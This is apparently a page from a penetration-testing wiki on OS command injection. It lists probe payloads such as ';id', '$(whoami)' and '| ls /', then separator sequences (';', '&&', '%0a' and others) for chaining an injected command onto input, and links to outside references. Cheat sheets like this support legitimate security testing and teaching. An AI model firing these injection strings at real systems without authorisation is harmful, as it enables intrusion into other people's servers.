> For the complete documentation index, see [llms.txt](https://hackerlab.gitbook.io/wiki.hackerlab.cz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hackerlab.gitbook.io/wiki.hackerlab.cz/web-pentesting/os-command-injection.md).

# OS Command Injection

## Identification

```
;id
;id;
;id|
|id
| ls /
& whoami
`whoami`
$(whoami)
```

## Initial sequence

Follow the initial sequence by your OS command payload

```
&
&&
|
||
;
"
";
'"
';
%0a
%0d%0a
\0
\n
\r
*;
```

## References

<https://portswigger.net/web-security/os-command-injection>

<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection>